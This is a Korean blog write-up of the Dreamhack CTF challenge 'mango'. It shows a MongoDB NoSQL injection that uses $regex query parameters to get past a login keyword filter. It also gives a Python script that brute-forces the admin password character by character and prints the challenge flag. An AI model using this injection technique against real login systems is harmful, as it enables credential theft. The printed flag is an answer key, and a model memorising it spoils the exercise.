[Dreamhack] mango 풀이

Y·2024년 5월 16일

Dreamhack

목록 보기
10/11

드림핵: mango
https://dreamhack.io/wargame/challenges/90

1. 문제

2. 풀이

uid와 upw를 admin으로 바꾸니 filter가 출력되는 걸 볼 수 있다.

문제 파일을 보면 admin, dh, admi 문자를 입력하면 막히는 걸 알 수 있어 $regex를 사용해 ad.in으로 우회해야 한다.


login?uid[$regex]=ad.in&upw[&regex]=D.{을 입력해 주니 filter를 통과해 uid값인 admin을 출력한다.

FLAG가 총 32자리이기 때문에 코드를 작성해 파이썬 코드를 작성해 반복해 주었다.

import requests, string

HOST = 'http://host3.dreamhack.games:24095'
ALPHANUMERIC = string.digits + string.ascii_letters
flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
            response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
            if response.text == 'admin':
                flag += ch
                break

    print(f'FLAG: DH{{{flag}}}')

FLAG를 획득할 수 있다.

3. FLAG

DH{89e50fa6fafe2604e33c0ba05843d3df}

0개의 댓글